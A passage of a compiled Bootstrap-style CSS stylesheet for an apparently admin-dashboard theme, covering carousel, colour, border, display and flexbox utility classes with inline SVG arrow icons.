ease;\n  transition: transform 0.6s ease, -webkit-transform 0.6s ease;\n  -webkit-backface-visibility: hidden;\n          backface-visibility: hidden;\n  -webkit-perspective: 1000px;\n          perspective: 1000px;\n}\n\n.carousel-item.active,\n.carousel-item-next,\n.carousel-item-prev {\n  display: block;\n}\n\n.carousel-item-next,\n.carousel-item-prev {\n  position: absolute;\n  top: 0;\n}\n\n.carousel-item-next.carousel-item-left,\n.carousel-item-prev.carousel-item-right {\n  -webkit-transform: translateX(0);\n      -ms-transform: translateX(0);\n          transform: translateX(0);\n}\n\n@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {\n  .carousel-item-next.carousel-item-left,\n  .carousel-item-prev.carousel-item-right {\n    -webkit-transform: translate3d(0, 0, 0);\n            transform: translate3d(0, 0, 0);\n  }\n}\n\n.carousel-item-next,\n.active.carousel-item-right {\n  -webkit-transform: translateX(100%);\n      -ms-transform: translateX(100%);\n          transform: translateX(100%);\n}\n\n@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {\n  .carousel-item-next,\n  .active.carousel-item-right {\n    -webkit-transform: translate3d(100%, 0, 0);\n            transform: translate3d(100%, 0, 0);\n  }\n}\n\n.carousel-item-prev,\n.active.carousel-item-left {\n  -webkit-transform: translateX(-100%);\n      -ms-transform: translateX(-100%);\n          transform: translateX(-100%);\n}\n\n@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {\n  .carousel-item-prev,\n  .active.carousel-item-left {\n    -webkit-transform: translate3d(-100%, 0, 0);\n            transform: translate3d(-100%, 0, 0);\n  }\n}\n\n.carousel-control-prev,\n.carousel-control-next {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  -webkit-box-pack: center;\n      -ms-flex-pack: center;\n          justify-content: center;\n  width: 15%;\n  color: #FFF;\n  text-align: center;\n  opacity: 0.5;\n}\n\n.carousel-control-prev:hover, .carousel-control-prev:focus,\n.carousel-control-next:hover,\n.carousel-control-next:focus {\n  color: #FFF;\n  text-decoration: none;\n  outline: 0;\n  opacity: .9;\n}\n\n.carousel-control-prev {\n  left: 0;\n}\n\n.carousel-control-next {\n  right: 0;\n}\n\n.carousel-control-prev-icon,\n.carousel-control-next-icon {\n  display: inline-block;\n  width: 20px;\n  height: 20px;\n  background: transparent no-repeat center center;\n  background-size: 100% 100%;\n}\n\n.carousel-control-prev-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23FFF' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E\");\n}\n\n.carousel-control-next-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23FFF' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E\");\n}\n\n.carousel-indicators {\n  position: absolute;\n  right: 0;\n  bottom: 10px;\n  left: 0;\n  z-index: 15;\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-pack: center;\n      -ms-flex-pack: center;\n          justify-content: center;\n  padding-left: 0;\n  margin-right: 15%;\n  margin-left: 15%;\n  list-style: none;\n}\n\n.carousel-indicators li {\n  position: relative;\n  -webkit-box-flex: 0;\n      -ms-flex: 0 1 auto;\n          flex: 0 1 auto;\n  width: 30px;\n  height: 3px;\n  margin-right: 3px;\n  margin-left: 3px;\n  text-indent: -999px;\n  background-color: rgba(255, 255, 255, 0.5);\n}\n\n.carousel-indicators li::before {\n  position: absolute;\n  top: -10px;\n  left: 0;\n  display: inline-block;\n  width: 100%;\n  height: 10px;\n  content: \"\";\n}\n\n.carousel-indicators li::after {\n  position: absolute;\n  bottom: -10px;\n  left: 0;\n  display: inline-block;\n  width: 100%;\n  height: 10px;\n  content: \"\";\n}\n\n.carousel-indicators .active {\n  background-color: #FFF;\n}\n\n.carousel-caption {\n  position: absolute;\n  right: 15%;\n  bottom: 20px;\n  left: 15%;\n  z-index: 10;\n  padding-top: 20px;\n  padding-bottom: 20px;\n  color: #FFF;\n  text-align: center;\n}\n\n.align-baseline {\n  vertical-align: baseline !important;\n}\n\n.align-top {\n  vertical-align: top !important;\n}\n\n.align-middle {\n  vertical-align: middle !important;\n}\n\n.align-bottom {\n  vertical-align: bottom !important;\n}\n\n.align-text-bottom {\n  vertical-align: text-bottom !important;\n}\n\n.align-text-top {\n  vertical-align: text-top !important;\n}\n\n.bg-primary {\n  background-color: #009688 !important;\n}\n\na.bg-primary:hover, a.bg-primary:focus,\nbutton.bg-primary:hover,\nbutton.bg-primary:focus {\n  background-color: #00635a !important;\n}\n\n.bg-secondary {\n  background-color: #6c757d !important;\n}\n\na.bg-secondary:hover, a.bg-secondary:focus,\nbutton.bg-secondary:hover,\nbutton.bg-secondary:focus {\n  background-color: #545b62 !important;\n}\n\n.bg-success {\n  background-color: #28a745 !important;\n}\n\na.bg-success:hover, a.bg-success:focus,\nbutton.bg-success:hover,\nbutton.bg-success:focus {\n  background-color: #1e7e34 !important;\n}\n\n.bg-info {\n  background-color: #17a2b8 !important;\n}\n\na.bg-info:hover, a.bg-info:focus,\nbutton.bg-info:hover,\nbutton.bg-info:focus {\n  background-color: #117a8b !important;\n}\n\n.bg-warning {\n  background-color: #ffc107 !important;\n}\n\na.bg-warning:hover, a.bg-warning:focus,\nbutton.bg-warning:hover,\nbutton.bg-warning:focus {\n  background-color: #d39e00 !important;\n}\n\n.bg-danger {\n  background-color: #dc3545 !important;\n}\n\na.bg-danger:hover, a.bg-danger:focus,\nbutton.bg-danger:hover,\nbutton.bg-danger:focus {\n  background-color: #bd2130 !important;\n}\n\n.bg-light {\n  background-color: #f8f9fa !important;\n}\n\na.bg-light:hover, a.bg-light:focus,\nbutton.bg-light:hover,\nbutton.bg-light:focus {\n  background-color: #dae0e5 !important;\n}\n\n.bg-dark {\n  background-color: #343a40 !important;\n}\n\na.bg-dark:hover, a.bg-dark:focus,\nbutton.bg-dark:hover,\nbutton.bg-dark:focus {\n  background-color: #1d2124 !important;\n}\n\n.bg-white {\n  background-color: #FFF !important;\n}\n\n.bg-transparent {\n  background-color: transparent !important;\n}\n\n.border {\n  border: 1px solid #dee2e6 !important;\n}\n\n.border-top {\n  border-top: 1px solid #dee2e6 !important;\n}\n\n.border-right {\n  border-right: 1px solid #dee2e6 !important;\n}\n\n.border-bottom {\n  border-bottom: 1px solid #dee2e6 !important;\n}\n\n.border-left {\n  border-left: 1px solid #dee2e6 !important;\n}\n\n.border-0 {\n  border: 0 !important;\n}\n\n.border-top-0 {\n  border-top: 0 !important;\n}\n\n.border-right-0 {\n  border-right: 0 !important;\n}\n\n.border-bottom-0 {\n  border-bottom: 0 !important;\n}\n\n.border-left-0 {\n  border-left: 0 !important;\n}\n\n.border-primary {\n  border-color: #009688 !important;\n}\n\n.border-secondary {\n  border-color: #6c757d !important;\n}\n\n.border-success {\n  border-color: #28a745 !important;\n}\n\n.border-info {\n  border-color: #17a2b8 !important;\n}\n\n.border-warning {\n  border-color: #ffc107 !important;\n}\n\n.border-danger {\n  border-color: #dc3545 !important;\n}\n\n.border-light {\n  border-color: #f8f9fa !important;\n}\n\n.border-dark {\n  border-color: #343a40 !important;\n}\n\n.border-white {\n  border-color: #FFF !important;\n}\n\n.rounded {\n  border-radius: 0.25rem !important;\n}\n\n.rounded-top {\n  border-top-left-radius: 0.25rem !important;\n  border-top-right-radius: 0.25rem !important;\n}\n\n.rounded-right {\n  border-top-right-radius: 0.25rem !important;\n  border-bottom-right-radius: 0.25rem !important;\n}\n\n.rounded-bottom {\n  border-bottom-right-radius: 0.25rem !important;\n  border-bottom-left-radius: 0.25rem !important;\n}\n\n.rounded-left {\n  border-top-left-radius: 0.25rem !important;\n  border-bottom-left-radius: 0.25rem !important;\n}\n\n.rounded-circle, .app-sidebar__user-avatar {\n  border-radius: 50% !important;\n}\n\n.rounded-0 {\n  border-radius: 0 !important;\n}\n\n.clearfix::after {\n  display: block;\n  clear: both;\n  content: \"\";\n}\n\n.d-none {\n  display: none !important;\n}\n\n.d-inline {\n  display: inline !important;\n}\n\n.d-inline-block {\n  display: inline-block !important;\n}\n\n.d-block {\n  display: block !important;\n}\n\n.d-table {\n  display: table !important;\n}\n\n.d-table-row {\n  display: table-row !important;\n}\n\n.d-table-cell {\n  display: table-cell !important;\n}\n\n.d-flex {\n  display: -webkit-box !important;\n  display: -ms-flexbox !important;\n  display: flex !important;\n}\n\n.d-inline-flex {\n  display: -webkit-inline-box !important;\n  display: -ms-inline-flexbox !important;\n  display: inline-flex !important;\n}\n\n@media (min-width: 576px) {\n  .d-sm-none {\n    display: none !important;\n  }\n  .d-sm-inline {\n    display: inline !important;\n  }\n  .d-sm-inline-block {\n    display: inline-block !important;\n  }\n  .d-sm-block {\n    display: block !important;\n  }\n  .d-sm-table {\n    display: table !important;\n  }\n  .d-sm-table-row {\n    display: table-row !important;\n  }\n  .d-sm-table-cell {\n    display: table-cell !important;\n  }\n  .d-sm-flex {\n    display: -webkit-box !important;\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-sm-inline-flex {\n    display: -webkit-inline-box !important;\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .d-md-none {\n    display: none !important;\n  }\n  .d-md-inline {\n    display: inline !important;\n  }\n  .d-md-inline-block {\n    display: inline-block !important;\n  }\n  .d-md-block {\n    display: block !important;\n  }\n  .d-md-table {\n    display: table !important;\n  }\n  .d-md-table-row {\n    display: table-row !important;\n  }\n  .d-md-table-cell {\n    display: table-cell !important;\n  }\n  .d-md-flex {\n    display: -webkit-box !important;\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-md-inline-flex {\n    display: -webkit-inline-box !important;\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .d-lg-none {\n    display: none !important;\n  }\n  .d-lg-inline {\n    display: inline !important;\n  }\n  .d-lg-inline-block {\n    display: inline-block !important;\n  }\n  .d-lg-block {\n    display: block !important;\n  }\n  .d-lg-table {\n    display: table !important;\n  }\n  .d-lg-table-row {\n    display: table-row !important;\n  }\n  .d-lg-table-cell {\n    display: table-cell !important;\n  }\n  .d-lg-flex {\n    display: -webkit-box !important;\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-lg-inline-flex {\n    display: -webkit-inline-box !important;\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .d-xl-none {\n    display: none !important;\n  }\n  .d-xl-inline {\n    display: inline !important;\n  }\n  .d-xl-inline-block {\n    display: inline-block !important;\n  }\n  .d-xl-block {\n    display: block !important;\n  }\n  .d-xl-table {\n    display: table !important;\n  }\n  .d-xl-table-row {\n    display: table-row !important;\n  }\n  .d-xl-table-cell {\n    display: table-cell !important;\n  }\n  .d-xl-flex {\n    display: -webkit-box !important;\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-xl-inline-flex {\n    display: -webkit-inline-box !important;\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n@media print {\n  .d-print-none {\n    display: none !important;\n  }\n  .d-print-inline {\n    display: inline !important;\n  }\n  .d-print-inline-block {\n    display: inline-block !important;\n  }\n  .d-print-block {\n    display: block !important;\n  }\n  .d-print-table {\n    display: table !important;\n  }\n  .d-print-table-row {\n    display: table-row !important;\n  }\n  .d-print-table-cell {\n    display: table-cell !important;\n  }\n  .d-print-flex {\n    display: -webkit-box !important;\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-print-inline-flex {\n    display: -webkit-inline-box !important;\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n.embed-responsive {\n  position: relative;\n  display: block;\n  width: 100%;\n  padding: 0;\n  overflow: hidden;\n}\n\n.embed-responsive::before {\n  display: block;\n  content: \"\";\n}\n\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  width: 100%;\n  height: 100%;\n  border: 0;\n}\n\n.embed-responsive-21by9::before {\n  padding-top: 42.8571428571%;\n}\n\n.embed-responsive-16by9::before {\n  padding-top: 56.25%;\n}\n\n.embed-responsive-4by3::before {\n  padding-top: 75%;\n}\n\n.embed-responsive-1by1::before {\n  padding-top: 100%;\n}\n\n.flex-row {\n  -webkit-box-orient: horizontal !important;\n  -webkit-box-direction: normal !important;\n      -ms-flex-direction: row !important;\n          flex-direction: row !important;\n}\n\n.flex-column {\n  -webkit-box-orient: vertical !important;\n  -webkit-box-direction: normal !important;\n      -ms-flex-direction: column !important;\n          flex-direction: column !important;\n}\n\n.flex-row-reverse {\n  -webkit-box-orient: horizontal !important;\n  -webkit-box-direction: reverse !important;\n      -ms-flex-direction: row-reverse !important;\n          flex-direction: row-reverse !important;\n}\n\n.flex-column-reverse {\n  -webkit-box-orient: vertical !important;\n  -webkit-box-direction: reverse !important;\n      -ms-flex-direction: column-reverse !important;\n          flex-direction: column-reverse !important;\n}\n\n.flex-wrap {\n  -ms-flex-wrap: wrap !important;\n      flex-wrap: wrap !important;\n}\n\n.flex-nowrap {\n  -ms-flex-wrap: nowrap !important;\n      flex-wrap: nowrap !important;\n}\n\n.flex-wrap-reverse {\n  -ms-flex-wrap: wrap-reverse !important;\n      flex-wrap: wrap-reverse !important;\n}\n\n.justify-content-start {\n  -webkit-box-pack: start !important;\n      -ms-flex-pack: start !important;\n          justify-content: flex-start !important;\n}\n\n.justify-content-end {\n  -webkit-box-pack: end !important;\n      -ms-flex-pack: end !important;\n          justify-content: flex-end !important;\n}\n\n.justify-content-center {\n  -webkit-box-pack: center !important;\n      -ms-flex-pack: center !important;\n          justify-content: center !important;\n}\n\n.justify-content-between {\n  -webkit-box-pack: justify !important;\n      -ms-flex-pack: justify !important;\n          justify-content: space-between !important;\n}\n\n.justify-content-around {\n  -ms-flex-pack: distribute !important;\n      justify-content: space-around !important;\n}\n\n.align-items-start {\n  -webkit-box-align: start !important;\n      -ms-flex-align: start !important;\n          align-items: flex-start !important;\n}\n\n.align-items-end {\n  -webkit-box-align: end !important;\n      -ms-flex-align: end !important;\n          align-items: flex-end !important;\n}\n\n.align-items-center {\n  -webkit-box-align: center !important;\n      -ms-flex-align: center !important;\n          align-items: center !important;\n}\n\n.align-items-baseline {\n  -webkit-box-align: baseline !important;\n      -ms-flex-align: baseline !important;\n          align-items: baseline !important;\n}\n\n.align-items-stretch {\n  -webkit-box-align: stretch !important;\n      -ms-flex-align: stretch !important;\n          align-items: stretch !important;\n}\n\n.align-content-start {\n  -ms-flex-line-pack: start !important;\n      align-content: flex-start !important;\n}\n\n.align-content-end {\n  -ms-flex-line-pack: end !important;\n      align-content: flex-end !important;\n}\n\n.align-content-center {\n  -ms-flex-line-pack: center !important;\n      align-content: center !important;\n}\n\n.align-content-between {\n  -ms-flex-line-pack: justify !important;\n      align-content: space-between !important;\n}\n\n.align-content-around {\n  -ms-flex-line-pack: distribute !important;\n      align-content: space-around !important;\n}\n\n.align-content-stretch {\n  -ms-flex-line-pack: stretch !important;\n      align-content: stretch !important;\n}\n\n.align-self-auto {\n  -ms-flex-item-align: auto !important;\n      align-self: auto !important;\n}\n\n.align-self-start {\n  -ms-flex-item-align: start !important;\n      align-self: flex-start !important;\n}\n\n.align-self-end {\n  -ms-flex-item-align: end !important;\n      align-self: flex-end !important;\n}\n\n.align-self-center {\n  -ms-flex-item-align: center !important;\n      align-self: center !important;\n}\n\n.align-self-baseline {\n  -ms-flex-item-align: baseline !important;\n      align-self: baseline !important;\n}\n\n.align-self-stretch {\n  -ms-flex-item-align: stretch !important;\n      align-self: stretch !important;\n}\n\n@media (min-width: 576px) {\n  .flex-sm-row {\n    -webkit-box-orient: horizontal !important;\n    -webkit-box-direction: normal !important;\n        -ms-flex-direction: row !important;\n            flex-direction: row !important;\n  }\n  .flex-sm-column {\n    -webkit-box-orient: vertical !important;\n    -webkit-box-direction: normal !important;\n        -ms-flex-direction: column !important;\n            flex-direction: column !important;\n  }\n  .flex-sm-row-reverse {\n    -webkit-box-orient: horizontal !important;\n    -webkit-box-direction: reverse !important;\n        -ms-flex-direction: row-reverse !important;\n            flex-direction: row-reverse !important;\n  }\n  .flex-sm-column-reverse {\n    -webkit-box-orient: vertical !important;\n    -webkit-box-direction: reverse !important;\n        -ms-flex-direction: column-reverse !important;\n            flex-direction: column-reverse !important;\n  }\n  .flex-sm-wrap {\n    -ms-flex-wrap: wrap !important;\n        flex-wrap: wrap !important;\n  }\n  .flex-sm-nowrap {\n    -ms-flex-wrap: nowrap !important;\n        flex-wrap: nowrap !important;\n  }\n  .flex-sm-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n        flex-wrap: wrap-reverse !important;\n  }\n  .justify-content-sm-start {\n    -webkit-box-pack: start !important;\n        -ms-flex-pack: start !important;\n            justify-content: flex-start !important;\n  }\n  .justify-content-sm-end {\n    -webkit-box-pack: end !important;\n        -ms-flex-pack: end !important;\n            justify-content: flex-end !important;\n  }\n  .justify-content-sm-center {\n    -webkit-box-pack: center !important;\n        -ms-flex-pack: center !important;\n            justify-content: center !important;\n  }\n  .justify-content-sm-between {\n    -webkit-box-pack: justify !important;\n        -ms-flex-pack: justify !important;\n            justify-content: space-between !important;\n  }\n  .justify-content-sm-around {\n    -ms-flex-pack: distribute !important;\n        justify-content: space-around !important;\n  }\n  .align-items-sm-start {\n    -webkit-box-align: start !important;\n        -ms-flex-align: start !important;\n            align-items: flex-start !important;\n  }\n  .align-items-sm-end {\n    -webkit-box-align: end !important;\n        -ms-flex-align: end !important;\n            align-items: flex-end !important;\n  }\n  .align-items-sm-center {\n    -webkit-box-align: center !important;\n        -ms-flex-align: center !important;\n            align-items: center !important;\n  }\n  .align-items-sm-baseline {\n    -webkit-box-align: baseline !important;\n        -ms-flex-align: baseline !important;\n            align-items: baseline !important;\n  }\n  .align-items-sm-stretch {\n    -webkit-box-align: stretch !important;\n        -ms-flex-align: stretch !important;\n            align-items: stretch !important;\n  }\n  .align-content-sm-start {\n    -ms-flex-line-pack: start !important;\n        align-content: flex-start !important;\n  }\n  .align-content-sm-end {\n    -ms-flex-line-pack: end !important;\n        align-content: flex-end !important;\n  }\n  .align-content-sm-center {\n    -ms-flex-line-pack: center !important;\n        align-content: center !important;\n  }\n  .align-content-sm-between {\n    -ms-flex-line-pack: justify !important;\n        align-content: space-between !important;\n  }\n  .align-content-sm-around {\n    -ms-flex-line-pack: distribute !important;\n        align-content: space-around !important;\n  }\n  .align-content-sm-stretch {\n    -ms-flex-line-pack: stretch !important;\n        align-content: stretch !important;\n  }\n  .align-self-sm-auto {\n    -ms-flex-item-align: auto !important;\n        align-self: auto !important;\n  }\n  .align-self-sm-start {\n    -ms-flex-item-align: start !important;\n        align-self: flex-start !important;\n  }\n  .align-self-sm-end {\n    -ms-flex-item-align: end !important;\n        align-self: flex-end !important;\n  }\n  .align-self-sm-center {\n    -ms-flex-item-align: center !important;\n        align-self: center !important;\n  }\n  .align-self-sm-baseline {\n    -ms-flex-item-align: baseline !important;\n        align-self: baseline !important;\n  }\n  .align-self-sm-stretch {\n    -ms-flex-item-align: stretch !important;\n        align-self: stretch !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .flex-md-row {\n    -webkit-box-orient: horizontal !important;\n    -webkit-box-direction: normal !important;\n        -ms-flex-direction: row !important;\n            flex-direction: row !important;\n  }\n  .flex-md-column {\n    -webkit-box-orient: vertical !important;\n    -webkit-box-direction: normal !important;\n        -ms-flex-direction: column !important;\n            flex-direction: column !important;\n  }\n  .flex-md-row-reverse {\n    -webkit-box-orient: horizontal !important;\n    -webkit-box-direction: reverse !important;\n        -ms-flex-direction: row-reverse !important;\n            flex-direction: row-reverse !important;\n  }\n  .flex-md-column-reverse {\n    -webkit-box-orient: vertical !important;\n    -webkit-box-direction: reverse !important;\n        -ms-flex-direction: column-reverse !important;\n            flex-direction: column-reverse !important;\n  }\n  .flex-md-wrap {\n    -ms-flex-wrap: wrap !important;\n        flex-wrap: wrap !important;\n  }\n  .flex-md-nowrap {\n    -ms-flex-wrap: nowrap !important;\n        flex-wrap: nowrap !important;\n  }\n  .flex-md-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n        flex-wrap: wrap-reverse !important;\n  }\n  .justify-content-md-start {\n    -webkit-box-pack: start !important;\n        -ms-flex-pack: start !important;\n            justify-content: flex-start !important;\n  }\n  .justify-content-md-end {\n    -webkit-box-pack: end !important;\n        -ms-flex-pack: end !important;\n            justify-content: flex-end !important;\n  }\n  .justify-content-md-center {\n    -webkit-box-pack: center !important;\n        -ms-flex-pack: center !important;\n            justify-content: center !important;\n  }\n  .justify-content-md-between {\n    -webkit-box-pack: justify !important;\n        -ms-flex-pack: justify !important;\n            justify-content: space-between !important;\n  }\n  .justify-content-md-around {\n    -ms-flex-pack: distribute !important;\n        justify-content: space-around !important;\n  }\n  .align-items-md-start {\n    -webkit-box-align: start !important;\n        -ms-flex-align: start !important;\n            align-items: flex-start !important;\n  }\n  .align-items-md-end {\n    -webkit-box-align: end !important;\n        -ms-flex-align: end !important;\n            align-items: flex-end !important;\n  }\n  .align-items-md-center {\n    -webkit-box-align: center !important;\n        -ms-flex-align: center !important;\n            align-items: center !important;\n  }\n  .align-items-md-baseline {\n    -webkit-box-align: baseline !important;\n        -ms-flex-align: baseline !important;\n            align-items: baseline !important;\n  }\n  .align-items-md-stretch {\n    -webkit-box-align: stretch !important;\n        -ms-flex-align: stretch !important;\n            align-items: stretch !important;\n  }\n  .align-content-md-start {\n    -ms-flex-line-pack: start !important;\n        align-content: flex-start !important;\n  }\n  .align-content-md-end {\n    -ms-flex-line-pack: end !important;\n        align-content: flex-end !important;\n  }\n  .align-content-md-center {\n    -ms-flex-line-pack: center !important;\n        align-content: center !important;\n  }\n  .align-content-md-between {\n    -ms-flex-line-pack: justify !important;\n        align-content: space-between !important;\n  }\n  .align-content-md-around {\n    -ms-flex-line-pack: distribute !important;\n        align-content: space-around !important;\n  }\n  .align-content-md-stretch {\n    -ms-flex-line-pack: stretch !important;\n        align-content: stretch !important;\n  }\n  .align-self-md-auto {\n    -ms-flex-item-align: auto !important;\n        align-self: auto !important;\n  }\n  .align-self-md-start {\n    -ms-flex-item-align: start !important;\n        align-self: flex-start !important;\n  }\n  .align-self-md-end {\n    -ms-flex-item-align: end !important;\n        align-self: flex-end !important;\n  }\n  .align-self-md-center {\n    -ms-flex-item-align: center !important;\n        align-self: center !important;\n  }\n  .align-self-md-baseline {\n    -ms-flex-item-align: baseline !important;\n        align-self: baseline !important;\n  }\n  .align-self-md-stretch {\n    -ms-flex-item-align: stretch !important;\n        align-self: stretch !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .flex-lg-row {\n    -webkit-box-orient: horizontal !important;\n    -webkit-box-direction: normal !important;\n        -ms-flex-direction: row !important;\n            flex-direction: row !important;\n  }\n  .flex-lg-column {\n    -webkit-box-orient: vertical !important;\n    -webkit-box-direction: normal !important;\n        -ms-flex-direction: column !important;\n            flex-direction: column !important;\n  }\n  .flex-lg-row-reverse {\n    -webkit-box-orient: horizontal !important;\n    -webkit-box-direction: reverse !important;\n        -ms-flex-direction: row-reverse !important;\n            flex-direction: row-reverse !important;\n  }\n  .flex-lg-column-reverse {\n    -webkit-box-orient: vertical !important;\n    -webkit-box-direction: reverse !important;\n        -ms-flex-direction: column-reverse !important;\n            flex-direction: column-reverse !important;\n  }\n  .flex-lg-wrap {\n    -ms-flex-wrap: wrap !important;\n        flex-wrap: wrap !important;\n  }\n  .flex-lg-nowrap {\n    -ms-flex-wrap: nowrap !important;\n        flex-wrap: nowrap !important;\n  }\n  .flex-lg-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n        flex-wrap: wrap-reverse !important;\n  }\n  .justify-content-lg-start {\n    -webkit-box-pack: start !important;\n        -ms-flex-pack: start !important;\n            justify-content: flex-start !important;\n  }\n  .justify-content-lg-end {\n    -webkit-box-pack: end !important;\n        -ms-flex-pack: end !important;\n            justify-content: flex-end !important;\n  }\n  .justify-content-lg-center {\n    -webkit-box-pack: center !important;\n        -ms-flex-pack: center !important;\n            justify-content: center !important;\n  }\n  .justify-content-lg-between {\n    -webkit-box-pack: justify !important;\n        -ms-flex-pack: justify !important;\n            justify-content: space-between !important;\n  }\n  .justify-content-lg-around {\n    -ms-flex-pack: distribute !important;\n        justify-content: space-around !important;\n  }\n  .align-items-lg-start {\n    -webkit-box-align: start !important;\n        -ms-flex-align: start !important;\n            align-items: flex-start !important;\n  }\n  .align-items-lg-end {\n    -webkit-box-align: end !important;\n        -ms-flex-align: end !important;\n            align-items: flex-end !important;\n  }\n  .align-items-lg-center {\n    -webkit-box-align: center !important;\n        -ms-flex-align: center !important;\n            align-items: center !important;\n  }\n  .align-items-lg-baseline {\n    -webkit-box-align: baseline !important;\n        -ms-flex-align: baseline !important;\n            align-items: baseline !important;\n  }\n  .align-items-lg-stretch {\n    -webkit-box-align: stretch !important;\n        -ms-flex-align: stretch !important;\n            align-items: stretch !important;\n  }\n  .align-content-lg-start {\n    -ms-flex-line-pack: start !important;\n        align-content: flex-start !important;\n  }\n  .align-content-lg-end {\n    -ms-flex-line-pack: end !important;\n        align-content: flex-end !important;\n  }\n  .align-content-lg-center {\n    -ms-flex-line-pack: center !important;\n        align-content: center !important;\n  }\n  .align-content-lg-between {\n    -ms-flex-line-pack: justify !important;\n        align-content: space-between !important;\n  }\n  .align-content-lg-around {\n    -ms-flex-line-pack: distribute !important;\n        align-content: space-around !important;\n  }\n  .align-content-lg-stretch {\n    -ms-flex-line-pack: stretch !important;\n        align-content: stretch !important;\n  }\n  .align-self-lg-auto {\n    -ms-flex-item-align: auto !important;\n        align-self: auto !important;\n  }\n  .align-self-lg-start {\n    -ms-flex-item-align: start !important;\n        align-self: flex-start !important;\n  }\n  .align-self-lg-end {\n    -ms-flex-item-align: end !important;\n        align-self: flex-end !important;\n  }\n  .align-self-lg-center {\n    -ms-flex-item-align: center !important;\n        align-self: center !important;\n  }\n  .align-self-lg-baseline {\n    -ms-flex-item-align: baseline !important;\n        align-self: baseline !important;\n  }\n  .align-self-lg-stretch {\n    -ms-flex-item-align: stretch !important;\n        align-self: stretch !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .flex-xl-row {\n    -webkit-box-orient: horizontal !important;\n    -webkit-box-direction: normal !important;\n        -ms-flex-direction: row !important;\n            flex-direction: row !important;\n  }\n  .flex-xl-column {\n    -webkit-box-orient: vertical !important;\n    -webkit-box-direction: normal !important;\n        -ms-flex-direction: column !important;\n            flex-direction: column !important;\n  }\n  .flex-xl-row-reverse {\n    -webkit-box-orient: horizontal !important;\n    -webkit-box-direction: reverse !important;\n        -ms-flex-direction: row-reverse !important;\n            flex-direction: row-reverse !important;\n  }\n  .flex-xl-column-reverse {\n    -webkit-box-orient: vertical !important;\n    -webkit-box-direction: reverse !important;\n        -ms-flex-direction: column-reverse !important;\n            flex-direction: column-reverse !important;\n  }\n  .flex-xl-wrap {\n    -ms-flex-wrap: wrap !important;\n        flex-wrap: wrap !important;\n  }\n  .flex-xl-nowrap {\n    -ms-flex-wrap: nowrap !important;\n        flex-wrap: nowrap !important;\n  }\n  .flex-xl-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n        flex-wrap: wrap-reverse !important;\n  }\n  .justify-content-xl-start {\n    -webkit-box-pack: start !important;\n        -ms-flex-pack: start !important;\n            justify-content: flex-start !important;\n  }\n  .justify-content-xl-end {\n    -webkit-box-pack: end !important;\n        -ms-flex-pack: end !important;\n            justify-content: flex-end !important;\n  }\n  .justify-content-xl-center {\n    -webkit-box-pack: center !important;\n        -ms-flex-pack: center !important;\n            justify-content: center !important;\n  }\n  .justify-content-xl-between {\n    -webkit-box-pack: justify !important;\n        -ms-flex-pack: justify !important;\n            justify-content: space-between !important;\n  }\n  .justify-content-xl-around {\n    -ms-flex-pack: distribute !important;\n        justify-content: space-around !important;\n  }\n  .align-items-xl-start {\n    -webkit-box-align: start !important;\n        -ms-flex-align: start !important;\n            align-items: flex-start !important;\n  }\n  .align-items-xl-end {\n    -webkit-box-align: end !important;\n        -ms-flex-align: end !important;\n            align-items: flex-end !important;\n  }\n  .align-items-xl-center {\n    -webkit-box-align: center !important;\n        -ms-flex-align: center !important;\n            align-items: center !important;\n  }\n  .align-items-xl-baseline {\n    -webkit-box-align: baseline !important;\n        -ms-flex-align: baseline !important;\n            align-items: baseline !important;\n  }\n  .align-items-xl-stretch {\n    -webkit-box-align: stretch !important;\n        -ms-flex-align: stretch !important;\n            align-items: stretch !important;\n  }\n  .align-content-xl-start {\n    -ms-flex-line-pack: start !important;\n        align-content: flex-start !important;\n  }\n  .align-content-xl-end {\n    -ms-flex-line-pack: end !important;\n        align-content: flex-end !important;\n  }\n  .align-content-xl-center {\n    -ms-flex-line-pack: center !important;\n        align-content: center !important;\n  }\n  .align-content-xl-between {\n    -ms-flex-line-pack: justify !important;\n        align-content: space-between !important;\n  }\n  .align-content-xl-around {\n    -ms-flex-line-pack: distribute !important;\n        align-content: space-around !important;\n  }\n  .align-content-xl-stretch {\n    -ms-flex-line-pack: stretch 